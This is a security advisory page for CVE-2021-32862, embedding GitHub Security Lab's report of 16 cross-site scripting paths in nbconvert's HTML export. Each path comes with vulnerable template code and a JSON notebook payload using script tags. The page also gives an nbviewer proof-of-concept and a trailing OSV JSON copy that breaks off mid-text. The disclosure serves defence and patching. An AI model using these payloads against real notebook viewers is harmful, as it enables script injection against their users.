CVE-2021-32862: Nbconvert Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-9jmq-rx5f-8jwq
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2021-32862 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Nbconvert libraries in the PyPI ecosystem. The issue involves nbconvert vulnerable to cross-site scripting (xss) via multiple exploit paths. Remediation is available by upgrading affected packages to version 6.5.1.

CVE-2021-32862 at a Glance

CVE Identifier CVE-2021-32862
GHSA Identifier GHSA-9jmq-rx5f-8jwq
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Nbconvert
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2021-32862

To remediate this vulnerability, upgrade all affected Nbconvert dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nbconvert fixed: 6.5.1
pip install nbconvert>=6.5.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show nbconvert

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2021-32862, inspect your installed packages using pip:

pip show nbconvert

Analyze the terminal output to locate any version of Nbconvert in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.5.1), your application is affected.

Note: The pip show nbconvert command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Nbconvert, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches Below is currently a duplicate of the original report: ---- Received on security@ipython.org unedited, I'm not sure if we want to make it separate advisories. Pasted raw for now, feel free to edit or make separate advisories if you have the rights to. I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well. --- ### Impact _What kind of vulnerability is it? Who is impacted?_ ### Patches _Has the problem been patched? What versions should users upgrade to?_ ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ ### References _Are there any links users can visit to find out more?_ ### For more information If you have any questions or comments about this advisory: * Open an issue in [example link to repo](http://example.com) * Email us at [example email address](mailto:example@example.com) --- # GitHub Security Lab (GHSL) Vulnerability Report The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [nbconvert](https://github.com/jupyter/nbconvert). We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team. If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` as a reference). If you are _NOT_ the correct point of contact for this report, please let us know! ## Summary When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer) ## Product nbconvert ## Tested Version [v5.5.0](https://github.com/jupyter/nbconvert/releases/tag/5.5.0) ## Details ### Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (`GHSL-2021-1013`) Attacker in control of a notebook can inject arbitrary unescaped HTML in the `notebook.metadata.language_info.pygments_lexer` field such as the following: ```json "metadata": { "language_info": { "pygments_lexer": "ipython3-foo\"><script>alert(1)</script>" } } ``` This node is read in the [`from_notebook_node`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/exporters/html.py#L135-L140) method: ```python def from_notebook_node(self, nb, resources=None, **kw): langinfo = nb.metadata.get('language_info', {}) lexer = langinfo.get('pygments_lexer', langinfo.get('name', None)) highlight_code = self.filters.get('highlight_code', Highlight2HTML(pygments_lexer=lexer, parent=self)) self.register_filter('highlight_code', highlight_code) return super().from_notebook_node(nb, resources, **kw) ``` It is then assigned to `language` var and passed down to [`_pygments_highlight`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/filters/highlight.py#L90) ```python from pygments.formatters import LatexFormatter if not language: language=self.pygments_lexer latex = _pygments_highlight(source, LatexFormatter(), language, metadata) ``` In this method, the `language` variable is [concatenated to `highlight hl-` string to conform the `cssclass`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/filters/highlight.py#L56) passed to the `HTMLFormatter` constructor: ``` python return _pygments_highlight(source if len(source) > 0 else ' ', # needed to help post processors: HtmlFormatter(cssclass=" highlight hl-"+language), language, metadata) ``` The `cssclass` variable is then [concatenated in the outer div class attribute](https://github.com/pygments/pygments/blob/30cfa26201a27dee1f8e6b0d600cad1138e64507/pygments/formatters/html.py#L791) ``` python yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>') ``` Note that the `cssclass` variable is also used in other unsafe places such as [`'<table class="%stable">' % self.cssclass + filename_tr +`](https://github.com/pygments/pygments/blob/30cfa26201a27dee1f8e6b0d600cad1138e64507/pygments/formatters/html.py#L711)) ### Issue 2: XSS in notebook.metadata.title (`GHSL-2021-1014`) The `notebook.metadata.title` node is rendered directly to the [`index.html.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/lab/index.html.j2#L12-L13) HTML template with no escaping: ```html {% set nb_title = nb.metadata.get('title', '') or resources['metadata']['name'] %} <title>{{nb_title}}</title> ``` The following `notebook.metadata.title` node will execute arbitrary javascript: ```json "metadata": { "title": "TITLE</title><script>alert(1)</script>" } ``` Note: this issue also affect other templates, not just the `lab` one. ### Issue 3: XSS in notebook.metadata.widgets(`GHSL-2021-1015`) The `notebook.metadata.widgets` node is rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/lab/index.html.j2#L12-L13) HTML template with no escaping: ```html {% set mimetype = 'application/vnd.jupyter.widget-state+json'%} {% if mimetype in nb.metadata.get("widgets",{})%} <script type="{{ mimetype }}"> {{ nb.metadata.widgets[mimetype] | json_dumps }} </script> {% endif %} ``` The following `notebook.metadata.widgets` node will execute arbitrary javascript: ```json "metadata": { "widgets": { "application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"} } } ``` Note: this issue also affect other templates, not just the `lab` one. ### Issue 4: XSS in notebook.cell.metadata.tags(`GHSL-2021-1016`) The `notebook.cell.metadata.tags` nodes are output directly to the [`celltags.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/base/celltags.j2#L4) HTML template with no escaping: ``` {%- macro celltags(cell) -%} {% if cell.metadata.tags | length > 0 -%} {% for tag in cell.metadata.tags -%} {{ ' celltag_' ~ tag -}} {%- endfor -%} {%- endif %} {%- endmacro %} ``` The following `notebook.cell.metadata.tags` node will execute arbitrary javascript: ```json { "cell_type": "code", "execution_count": null, "id": "727d1a5f", "metadata": { "tags": ["FOO\"><script>alert(1)</script><div \""] }, "outputs": [], "source": [] } ], ``` Note: this issue also affect other templates, not just the `lab` one. ### Issue 5: XSS in output data text/html cells(`GHSL-2021-1017`) Using the `text/html` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements: The following is an example of a cell with `text/html` output executing arbitrary javascript code: ```json { "cell_type": "code", "execution_count": 5, "id": "b72e53fa", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<script>alert(1)</script>" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "import os; os.system('touch /tmp/pwned')" ] }, ``` ### Issue 6: XSS in output data image/svg+xml cells(`GHSL-2021-1018`) Using the `image/svg+xml` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. The `cell.output.data["image/svg+xml"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping ``` {%- else %} {{ output.data['image/svg+xml'] }} {%- endif %} ``` The following `cell.output.data["image/svg+xml"]` node will execute arbitrary javascript: ```json { "output_type": "execute_result", "data": { "image/svg+xml": ["<script>console.log(\"image/svg+xml output\")</script>"] }, "execution_count": null, "metadata": { } } ``` ### Issue 7: XSS in notebook.cell.output.svg_filename(`GHSL-2021-1019`) The `cell.output.svg_filename` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping ``` {%- if output.svg_filename %} <img src="{{ output.svg_filename | posix_path }}"> ``` The following `cell.output.svg_filename` node will escape the `img` tag context and execute arbitrary javascript: ```json { "cell_type": "code", "execution_count": null, "id": "b72e53fa", "metadata": {}, "outputs": [ { "output_type": "execute_result", "svg_filename": "\"><script>alert(1)</script>", "data": { "image/svg+xml": [""] }, "execution_count": null, "metadata": { } } ], "source": [""] }, ``` ### Issue 8: XSS in output data text/markdown cells(`GHSL-2021-1020`) Using the `text/markdown` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. The `cell.output.data["text/markdown"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping ``` {{ output.data['text/markdown'] | markdown2html }} ``` The following `cell.output.data["text/markdown"]` node will execute arbitrary javascript: ``` { "output_type": "execute_result", "data": { "text/markdown": ["<script>console.log(\"text/markdown output\")</script>"] }, "execution_count": null, "metadata": {} } ``` ### Issue 9: XSS in output data application/javascript cells(`GHSL-2021-1021`) Using the `application/javascript` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements: The `cell.output.data["application/javascript"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping ``` <script type="text/javascript"> var element = document.getElementById('{{ div_id }}'); {{ output.data['application/javascript'] }} </script> ``` The following `cell.output.data["application/javascript"]` node will execute arbitrary javascript: ``` { "output_type": "execute_result", "data": { "application/javascript": ["console.log(\"application/javascript output\")"] }, "execution_count": null, "metadata": {} } ``` ### Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(`GHSL-2021-1022`) The `cell.output.metadata.filenames["images/png"]` and `cell.metadata.filenames["images/jpeg"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping: ``` {%- if 'image/png' in output.metadata.get('filenames', {}) %} <img src="{{ output.metadata.filenames['image/png'] | posix_path }}" ``` The following `filenames` node will execute arbitrary javascript: ```json { "output_type": "execute_result", "data": { "image/png": [""] }, "execution_count": null, "metadata": { "filenames": { "image/png": "\"><script>console.log(\"output.metadata.filenames.image/png injection\")</script>" } } } ``` ### Issue 11: XSS in output data image/png and image/jpeg cells(`GHSL-2021-1023`) Using the `image/png` or `image/jpeg` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. The `cell.output.data["images/png"]` and `cell.output.data["images/jpeg"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping: ``` {%- else %} <img src="data:image/png;base64,{{ output.data['image/png'] }}" {%- endif %} ``` The following `cell.output.data["image/png"]` node will execute arbitrary javascript: ```json { "output_type": "execute_result", "data": { "image/png": ["\"><script>console.log(\"image/png output\")</script>"] }, "execution_count": null, "metadata": {} } ``` ### Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(`GHSL-2021-1024`) The `cell.output.metadata.width` and `cell.output.metadata.height` nodes of both `image/png` and `image/jpeg` cells are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping: ``` {%- set width=output | get_metadata('width', 'image/png') -%} width={{ width }} {%- set height=output | get_metadata('height', 'image/png') -%} height={{ height }} ``` The following `output.metadata.width` node will execute arbitrary javascript: ```json { "output_type": "execute_result", "data": { "image/png": ["abcd"] }, "execution_count": null, "metadata": { "width": "><script>console.log(\"output.metadata.width png injection\")</script>" } } ``` ### Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(`GHSL-2021-1025`) The `cell.output.data["application/vnd.jupyter.widget-state+json"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping: ``` {% set datatype_list = output.data | filter_data_type %} {% set datatype = datatype_list[0]%} <script type="{{ datatype }}"> {{ output.data[datatype] | json_dumps }} </script> ``` The following `cell.output.data["application/vnd.jupyter.widget-state+json"]` node will execute arbitrary javascript: ```json { "output_type": "execute_result", "data": { "application/vnd.jupyter.widget-state+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//" }, "execution_count": null, "metadata": {} } ``` ### Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(`GHSL-2021-1026`) The `cell.output.data["application/vnd.jupyter.widget-view+json"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping: ``` {% set datatype_list = output.data | filter_data_type %} {% set datatype = datatype_list[0]%} <script type="{{ datatype }}"> {{ output.data[datatype] | json_dumps }} </script> ``` The following `cell.output.data["application/vnd.jupyter.widget-view+json"]` node will execute arbitrary javascript: ```json { "output_type": "execute_result", "data": { "application/vnd.jupyter.widget-view+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//" }, "execution_count": null, "metadata": {} } ``` ### Issue 15: XSS in raw cells(`GHSL-2021-1027`) Using a `raw` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements: The following is an example of a `raw` cell executing arbitrary javascript code: ```json { "cell_type": "raw", "id": "372c2bf1", "metadata": {}, "source": [ "Payload in raw cell <script>alert(1)</script>" ] } ``` ### Issue 16: XSS in markdown cells(`GHSL-2021-1028`) Using a `markdown` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements: The following is an example of a `markdown` cell executing arbitrary javascript code: ```json { "cell_type": "markdown", "id": "2d42de4a", "metadata": {}, "source": [ "<script>alert(1)</script>" ] }, ``` ### Proof of Concept These vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example [nbviewer](https://nbviewer.jupyter.org) is vulnerable to the above mentioned XSS issues: 1. Create Gist with payload. eg: - `https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c` 2. Then load gist on nbviewer. eg: - `https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c` Note: response is served with `content-security-policy: connect-src 'none';` ## GitHub Security Advisories We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). ## Credit These issues were discovered and reported by GHSL team member [@pwntester (Alvaro Muñoz)](https://github.com/pwntester). ## Contact You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` in any communication regarding these issues. ## Disclosure Policy This report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).

CVE-2021-32862 Affected Nbconvert Versions

1 component(s)
Fixed Versions:
6.5.1
Product / Package Ecosystem Affected Versions Fixed Version
nbconvert
PyPI
< 6.5.1
6.5.1

References

Frequently Asked Questions

What is CVE-2021-32862?
CVE-2021-32862 is a security vulnerability in Nbconvert involving nbconvert vulnerable to cross-site scripting (XSS) via multiple exploit paths under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Nbconvert versions are affected?
Affected versions include releases prior to 6.5.1 across affected packages: nbconvert.
What version fixes CVE-2021-32862?
Upgrading to 6.5.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nbconvert affected?
Yes, nbconvert is affected in releases prior to 6.5.1. Upgrade your dependency to 6.5.1 or later.
What is the CVSS score of CVE-2021-32862?
CVE-2021-32862 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2021-32862?
CVE-2021-32862 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2021-32862?
Run the dependency tree command: 'pip show nbconvert'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9jmq-rx5f-8jwq",
  "modified" : "2024-01-25T22:10:32Z",
  "published" : "2022-08-10T17:51:53Z",
  "aliases" : [ "CVE-2021-32862" ],
  "summary" : "nbconvert vulnerable to cross-site scripting (XSS) via multiple exploit paths",
  "details" : "Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches\n\nBelow is currently a duplicate of the original report:\n\n----\n\nReceived on security@ipython.org unedited, I'm not sure if we want to make it separate advisories. \n\nPasted raw for now, feel free to edit or make separate advisories if you have the rights to. \n\nI think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.\n--- \n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n--- \n\n# GitHub Security Lab (GHSL) Vulnerability Report\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [nbconvert](https://github.com/jupyter/nbconvert).\n\nWe are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` as a reference).\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nWhen using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer) \n\n## Product\n\nnbconvert\n\n## Tested Version\n\n[v5.5.0](https://github.com/jupyter/nbconvert/releases/tag/5.5.0)\n\n## Details\n\n### Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (`GHSL-2021-1013`)\n\nAttacker in control of a notebook can inject arbitrary unescaped HTML in the `notebook.metadata.language_info.pygments_lexer` field such as the following:\n\n```json\n\"metadata\": {\n  \"language_info\": {\n   \"pygments_lexer\": \"ipython3-foo\\\"><script>alert(1)</script>\"\n  }\n}\n```\n\nThis node is read in the [`from_notebook_node`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/exporters/html.py#L135-L140) method:\n\n```python\ndef from_notebook_node(self, nb, resources=None, **kw):\n  langinfo = nb.metadata.get('language_info', {})\n  lexer = langinfo.get('pygments_lexer', langinfo.get('name', None))\n  highlight_code = self.filters.get('highlight_code', Highlight2HTML(pygments_lexer=lexer, parent=self))\n  self.register_filter('highlight_code', highlight_code)\n  return super().from_notebook_node(nb, resources, **kw)\n```\n\nIt is then assigned to `language` var and passed down to [`_pygments_highlight`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/filters/highlight.py#L90)\n\n```python\nfrom pygments.formatters import LatexFormatter\nif not language:\n  language=self.pygments_lexer\nlatex = _pygments_highlight(source, LatexFormatter(), language, metadata)\n```\n\nIn this method, the `language` variable is [concatenated to `highlight hl-` string to conform the `cssclass`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/nbconvert/filters/highlight.py#L56) passed to the `HTMLFormatter` constructor:\n\n``` python\nreturn _pygments_highlight(source if len(source) > 0 else ' ',\n  # needed to help post processors:\n  HtmlFormatter(cssclass=\" highlight hl-\"+language),\n  language, metadata)\n```\n\nThe `cssclass` variable is then [concatenated in the outer div class attribute](https://github.com/pygments/pygments/blob/30cfa26201a27dee1f8e6b0d600cad1138e64507/pygments/formatters/html.py#L791)\n\n``` python\nyield 0, ('<div' + (self.cssclass and ' class=\"%s\"' % self.cssclass) + (style and (' style=\"%s\"' % style)) + '>')\n```\n\nNote that the `cssclass` variable is also used in other unsafe places such as [`'<table class=\"%stable\">' % self.cssclass + filename_tr +`](https://github.com/pygments/pygments/blob/30cfa26201a27dee1f8e6b0d600cad1138e64507/pygments/formatters/html.py#L711))\n\n### Issue 2: XSS in notebook.metadata.title (`GHSL-2021-1014`)\n\nThe `notebook.metadata.title` node is rendered directly to the [`index.html.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/lab/index.html.j2#L12-L13) HTML template with no escaping: \n\n```html\n{% set nb_title = nb.metadata.get('title', '') or resources['metadata']['name'] %}\n<title>{{nb_title}}</title>\n```\n\nThe following `notebook.metadata.title` node will execute arbitrary javascript:\n\n```json\n \"metadata\": {\n  \"title\": \"TITLE</title><script>alert(1)</script>\"\n }\n```\n\nNote: this issue also affect other templates, not just the `lab` one.\n\n### Issue 3: XSS in notebook.metadata.widgets(`GHSL-2021-1015`)\n\nThe `notebook.metadata.widgets` node is rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/lab/index.html.j2#L12-L13) HTML template with no escaping: \n\n```html\n{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}\n{% if mimetype in nb.metadata.get(\"widgets\",{})%}\n<script type=\"{{ mimetype }}\">\n{{ nb.metadata.widgets[mimetype] | json_dumps }}\n</script>\n{% endif %}\n```\n\nThe following `notebook.metadata.widgets` node will execute arbitrary javascript:\n\n```json\n \"metadata\": {\n  \"widgets\": {\n    \"application/vnd.jupyter.widget-state+json\": {\"foo\": \"pwntester</script><script>alert(1);//\"}\n  }\n }\n```\n\nNote: this issue also affect other templates, not just the `lab` one.\n\n### Issue 4: XSS in notebook.cell.metadata.tags(`GHSL-2021-1016`)\n\nThe `notebook.cell.metadata.tags` nodes are output directly to the [`celltags.j2`](https://github.com/jupyter/nbconvert/blob/3c0f82d1acbcf2264ae0fa892141a037563aabd0/share/jupyter/nbconvert/templates/base/celltags.j2#L4) HTML template with no escaping: \n\n```\n{%- macro celltags(cell) -%}\n    {% if cell.metadata.tags | length > 0 -%}\n        {% for tag in cell.metadata.tags -%}\n            {{ ' celltag_' ~ tag -}}\n        {%- endfor -%}\n    {%- endif %}\n{%- endmacro %}\n```\n\nThe following `notebook.cell.metadata.tags` node will execute arbitrary javascript:\n\n```json\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"727d1a5f\",\n   \"metadata\": {\n     \"tags\": [\"FOO\\\"><script>alert(1)</script><div \\\"\"]\n   },\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n```\n\nNote: this issue also affect other templates, not just the `lab` one.\n\n### Issue 5: XSS in output data text/html cells(`GHSL-2021-1017`)\n\nUsing the `text/html` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a cell with `text/html` output executing arbitrary javascript code:\n\n```json\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 5,\n   \"id\": \"b72e53fa\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n        \"<script>alert(1)</script>\"\n      ]\n     },\n     \"execution_count\": 5,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"import os; os.system('touch /tmp/pwned')\"\n   ]\n  },\n```\n\n### Issue 6: XSS in output data image/svg+xml cells(`GHSL-2021-1018`)\n\nUsing the `image/svg+xml` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"image/svg+xml\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{%- else %}\n{{ output.data['image/svg+xml'] }}\n{%- endif %}\n```\n\nThe following `cell.output.data[\"image/svg+xml\"]` node will execute arbitrary javascript:\n\n```json\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"image/svg+xml\": [\"<script>console.log(\\\"image/svg+xml output\\\")</script>\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {\n     }\n    }\n```\n\n### Issue 7: XSS in notebook.cell.output.svg_filename(`GHSL-2021-1019`)\n\nThe `cell.output.svg_filename` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{%- if output.svg_filename %}\n<img src=\"{{ output.svg_filename | posix_path }}\">\n```\n\nThe following `cell.output.svg_filename` node will escape the `img` tag context and execute arbitrary javascript:\n\n```json\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"b72e53fa\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"output_type\": \"execute_result\",\n     \"svg_filename\": \"\\\"><script>alert(1)</script>\",\n     \"data\": {\n      \"image/svg+xml\": [\"\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {\n     }\n    }\n   ],\n   \"source\": [\"\"]\n  },\n```\n\n### Issue 8: XSS in output data text/markdown cells(`GHSL-2021-1020`)\n\nUsing the `text/markdown` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"text/markdown\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{{ output.data['text/markdown'] | markdown2html }}\n```\n\nThe following `cell.output.data[\"text/markdown\"]` node will execute arbitrary javascript:\n\n```\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"text/markdown\": [\"<script>console.log(\\\"text/markdown output\\\")</script>\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {}\n    }\n```\n\n### Issue 9: XSS in output data application/javascript cells(`GHSL-2021-1021`)\n\nUsing the `application/javascript` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe `cell.output.data[\"application/javascript\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n<script type=\"text/javascript\">\nvar element = document.getElementById('{{ div_id }}');\n{{ output.data['application/javascript'] }}\n</script>\n```\n\nThe following `cell.output.data[\"application/javascript\"]` node will execute arbitrary javascript:\n\n```\n    {\n     \"output_type\": \"execute_result\",\n     